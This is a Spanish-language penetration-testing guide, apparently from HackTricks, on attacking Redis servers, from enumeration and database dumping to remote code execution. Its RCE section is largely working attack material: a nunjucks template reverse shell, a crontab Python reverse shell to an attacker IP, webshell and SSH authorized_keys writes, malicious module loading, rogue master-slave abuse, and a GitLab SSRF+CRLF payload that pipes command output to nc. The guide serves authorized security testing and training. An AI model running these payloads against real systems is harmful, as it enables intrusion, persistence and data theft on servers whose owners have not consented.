# 6379 - Pentesting Redis {{#include ../banners/hacktricks-training.md}} ## Información Básica De [la documentación](https://redis.io/topics/introduction): Redis es un **almacenamiento de estructuras de datos** en memoria de código abierto (licencia BSD), utilizado como **base de datos**, caché y corredor de mensajes. Por defecto, Redis utiliza un protocolo basado en texto plano, pero debes tener en cuenta que también puede implementar **ssl/tls**. Aprende a [ejecutar Redis con ssl/tls aquí](https://fossies.org/linux/redis/TLS.md). **Puerto por defecto:** 6379 ``` PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 4.0.9 ``` ## Enumeración Automática Algunas herramientas automatizadas que pueden ayudar a obtener información de una instancia de redis: ```bash nmap --script redis-info -sV -p 6379 msf> use auxiliary/scanner/redis/redis_server ``` ## Enumeración Manual ### Banner Redis es un **protocolo basado en texto**, solo puedes **enviar el comando en un socket** y los valores devueltos serán legibles. También recuerda que Redis puede funcionar usando **ssl/tls** (pero esto es muy raro). En una instancia regular de Redis, solo puedes conectarte usando `nc` o también podrías usar `redis-cli`: ```bash nc -vn 10.10.10.10 6379 redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools ``` El **primer comando** que podrías intentar es **`info`**. **Puede devolver una salida con información** de la instancia de Redis **o algo** como lo siguiente: ``` -NOAUTH Authentication required. ``` En este último caso, esto significa que **necesitas credenciales válidas** para acceder a la instancia de Redis. ### Autenticación de Redis **Por defecto**, Redis se puede acceder **sin credenciales**. Sin embargo, se puede **configurar** para soportar **solo contraseña, o nombre de usuario + contraseña**.\ Es posible **establecer una contraseña** en el archivo _**redis.conf**_ con el parámetro `requirepass` **o temporalmente** hasta que el servicio se reinicie conectándose a él y ejecutando: `config set requirepass p@ss$12E45`.\ Además, se puede configurar un **nombre de usuario** en el parámetro `masteruser` dentro del archivo _**redis.conf**_. > [!NOTE] > Si solo se configura la contraseña, el nombre de usuario utilizado es "**default**".\ > Además, ten en cuenta que **no hay forma de encontrar externamente** si Redis fue configurado solo con contraseña o nombre de usuario + contraseña. En casos como este, **necesitarás encontrar credenciales válidas** para interactuar con Redis, por lo que podrías intentar [**fuerza bruta**](../generic-hacking/brute-force.md#redis).\ **En caso de que encuentres credenciales válidas, necesitas autenticar la sesión** después de establecer la conexión con el comando: ```bash AUTH ``` **Credenciales válidas** serán respondidas con: `+OK` ### **Enumeración autenticada** Si el servidor Redis permite **conexiones anónimas** o si has obtenido credenciales válidas, puedes iniciar el proceso de enumeración para el servicio utilizando los siguientes **comandos**: ```bash INFO [ ... Redis response with info ... ] client list [ ... Redis response with connected clients ... ] CONFIG GET * [ ... Get config ... ] ``` **Otros comandos de Redis** [**se pueden encontrar aquí**](https://redis.io/topics/data-types-intro) **y** [**aquí**](https://lzone.de/cheat-sheet/Redis)**.** Tenga en cuenta que los **comandos de Redis de una instancia pueden ser renombrados** o eliminados en el archivo _redis.conf_. Por ejemplo, esta línea eliminará el comando FLUSHDB: ``` rename-command FLUSHDB "" ``` Más información sobre cómo configurar de manera segura un servicio Redis aquí: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04) También puedes **monitorear en tiempo real los comandos de Redis** ejecutados con el comando **`monitor`** o obtener las **25 consultas más lentas** con **`slowlog get 25`** Encuentra más información interesante sobre más comandos de Redis aquí: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis) ### **Volcando Base de Datos** Dentro de Redis, las **bases de datos son números que comienzan desde 0**. Puedes encontrar si alguna está en uso en la salida del comando `info` dentro del bloque "Keyspace": ![](<../images/image (766).png>) O simplemente puedes obtener todos los **keyspaces** (bases de datos) con: ``` INFO keyspace ``` En ese ejemplo, se están utilizando las **bases de datos 0 y 1**. **La base de datos 0 contiene 4 claves y la base de datos 1 contiene 1**. Por defecto, Redis utilizará la base de datos 0. Para volcar, por ejemplo, la base de datos 1, necesitas hacer: ```bash SELECT 1 [ ... Indicate the database ... ] KEYS * [ ... Get Keys ... ] GET [ ... Get Key ... ] ``` En caso de que obtengas el siguiente error `-WRONGTYPE Operation against a key holding the wrong kind of value` al ejecutar `GET `, es porque la clave puede ser algo diferente a una cadena o un entero y requiere un operador especial para mostrarlo. Para conocer el tipo de la clave, utiliza el comando `TYPE`, ejemplo a continuación para claves de lista y hash. ```bash TYPE [ ... Type of the Key ... ] LRANGE 0 -1 [ ... Get list items ... ] HGET [ ... Get hash item ... ] # If the type used is weird you can always do: DUMP ``` **Volcar la base de datos con npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **o python** [**redis-utils**](https://pypi.org/project/redis-utils/) ## Redis RCE ### Shell Interactiva [**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) puede obtener automáticamente una shell interactiva o una shell inversa en Redis(<=5.0.5). ``` ./redis-rogue-server.py --rhost --lhost ``` ### PHP Webshell Info de [**aquí**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Debes conocer la **ruta** de la **carpeta del sitio web**: ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /usr/share/nginx/html OK 10.85.0.52:6379> config set dbfilename redis.php OK 10.85.0.52:6379> set test "" OK 10.85.0.52:6379> save OK ``` Si la excepción de acceso al webshell, puedes vaciar la base de datos después de hacer una copia de seguridad y volver a intentarlo, recuerda restaurar la base de datos. ### Plantilla Webshell Al igual que en la sección anterior, también podrías sobrescribir algún archivo de plantilla html que va a ser interpretado por un motor de plantillas y obtener un shell. Por ejemplo, siguiendo [**este informe**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), puedes ver que el atacante inyectó un **rev shell en un html** interpretado por el **motor de plantillas nunjucks:** ```javascript {{ ({}).constructor.constructor( "var net = global.process.mainModule.require('net'), cp = global.process.mainModule.require('child_process'), sh = cp.spawn('sh', []); var client = new net.Socket(); client.connect(1234, 'my-server.com', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });" )()}} ``` > [!WARNING] > Tenga en cuenta que **varios motores de plantillas almacenan en caché** las plantillas en **memoria**, por lo que incluso si las sobrescribe, la nueva **no se ejecutará**. En estos casos, o el desarrollador dejó activa la recarga automática o necesita hacer un DoS sobre el servicio (y esperar que se reinicie automáticamente). ### SSH Ejemplo [de aquí](https://blog.adithyanak.com/oscp-preparation-guide/enumeration) Tenga en cuenta que el resultado de **`config get dir`** puede cambiar después de otros comandos de explotación manual. Se sugiere ejecutarlo primero justo después de iniciar sesión en Redis. En la salida de **`config get dir`** podría encontrar el **home** del **usuario redis** (generalmente _/var/lib/redis_ o _/home/redis/.ssh_), y al saber esto, sabe dónde puede escribir el archivo `authenticated_users` para acceder a través de ssh **con el usuario redis**. Si conoce el home de otro usuario válido donde tiene permisos de escritura, también puede abusar de ello: 1. Genere un par de claves públicas y privadas ssh en su pc: **`ssh-keygen -t rsa`** 2. Escriba la clave pública en un archivo: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`** 3. Importe el archivo en redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`** 4. Guarde la clave pública en el archivo **authorized_keys** en el servidor redis: ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /var/lib/redis/.ssh OK 10.85.0.52:6379> config set dbfilename "authorized_keys" OK 10.85.0.52:6379> save OK ``` 5. Finalmente, puede **ssh** al **servidor redis** con la clave privada: **ssh -i id_rsa redis@10.85.0.52** **Esta técnica está automatizada aquí:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit) Además, los usuarios del sistema también se pueden descubrir verificando con `config set dir /home/USER`, y tras la confirmación, se puede escribir un nuevo `authorized_keys` en `/home/USER/.ssh/authorized_keys`. Use [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) para hacer un ataque de fuerza bruta con una lista de palabras de nombres de usuario y sobrescribir `authorized_keys`. ### Crontab ``` root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1 OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/ OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root OK root@Urahara:~# redis-cli -h 10.85.0.52 save OK ``` El último ejemplo es para Ubuntu, para **Centos**, el comando anterior debería ser: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/` Este método también se puede utilizar para ganar bitcoin :[yam](https://www.v2ex.com/t/286981#reply14) ### Cargar Módulo de Redis 1. Siguiendo las instrucciones de [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) puedes **compilar un módulo de redis para ejecutar comandos arbitrarios**. 2. Luego necesitas alguna forma de **subir el módulo compilado**. 3. **Carga el módulo subido** en tiempo de ejecución con `MODULE LOAD /path/to/mymodule.so`. 4. **Lista los módulos cargados** para verificar que se haya cargado correctamente: `MODULE LIST`. 5. **Ejecuta** **comandos**: ``` 127.0.0.1:6379> system.exec "id" "uid=0(root) gid=0(root) groups=0(root)\n" 127.0.0.1:6379> system.exec "whoami" "root\n" 127.0.0.1:6379> system.rev 127.0.0.1 9999 ``` 6. Descarga el módulo cuando quieras: `MODULE UNLOAD mymodule`. ### Bypass de sandbox LUA [**Aquí**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) puedes ver que Redis utiliza el comando **EVAL** para ejecutar **código Lua en sandbox**. En la publicación vinculada puedes ver **cómo abusar de ello** utilizando la función **dofile**, pero [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) esto ya no es posible. De todos modos, si puedes **eludir la sandbox** de Lua podrías **ejecutar comandos arbitrarios** en el sistema. Además, de la misma publicación puedes ver algunas **opciones para causar DoS**. Algunos **CVEs para escapar de LUA**: - [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543) ### Módulo Maestro-Esclavo ​El maestro redis sincroniza automáticamente todas las operaciones al redis esclavo, lo que significa que podemos considerar la vulnerabilidad redis como un redis esclavo, conectado al redis maestro que controlamos, luego podemos ingresar el comando a nuestro propio redis. ``` master redis : 10.85.0.51 (Hacker's Server) slave redis : 10.85.0.52 (Target Vulnerability Server) A master-slave connection will be established from the slave redis and the master redis: redis-cli -h 10.85.0.52 -p 6379 slaveof 10.85.0.51 6379 Then you can login to the master redis to control the slave redis: redis-cli -h 10.85.0.51 -p 6379 set mykey hello set mykey2 helloworld ``` ## SSRF hablando con Redis Si puedes enviar una solicitud **en texto claro** **a Redis**, puedes **comunicarte con él** ya que Redis leerá línea por línea la solicitud y solo responderá con errores a las líneas que no entiende: ``` -ERR wrong number of arguments for 'get' command -ERR unknown command 'Host:' -ERR unknown command 'Accept:' -ERR unknown command 'Accept-Encoding:' -ERR unknown command 'Via:' -ERR unknown command 'Cache-Control:' -ERR unknown command 'Connection:' ``` Por lo tanto, si encuentras una **vulnerabilidad SSRF** en un sitio web y puedes **controlar** algunos **encabezados** (quizás con una vulnerabilidad CRLF) o **parámetros POST**, podrás enviar comandos arbitrarios a Redis. ### Ejemplo: Gitlab SSRF + CRLF a Shell En **Gitlab11.4.7** se descubrió una vulnerabilidad **SSRF** y una **CRLF**. La vulnerabilidad **SSRF** estaba en la **funcionalidad de importar proyecto desde URL** al crear un nuevo proyecto y permitía acceder a IPs arbitrarias en la forma \[0:0:0:0:0:ffff:127.0.0.1] (esto accederá a 127.0.0.1), y la vulnerabilidad **CRLF** se explotó simplemente **agregando caracteres %0D%0A** a la **URL**. Por lo tanto, fue posible **abusar de estas vulnerabilidades para comunicarse con la instancia de Redis** que **gestiona colas** de **gitlab** y abusar de esas colas para **obtener ejecución de código**. La carga útil de abuso de la cola de Redis es: ``` multi sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}" exec ``` Y la solicitud **URL encode** **abusando de SSRF** y **CRLF** para ejecutar un `whoami` y enviar de vuelta la salida a través de `nc` es: ``` git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` _Por alguna razón (como para el autor de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _de donde se tomó esta información) la explotación funcionó con el esquema `git` y no con el esquema `http`._ {{#include ../banners/hacktricks-training.md}}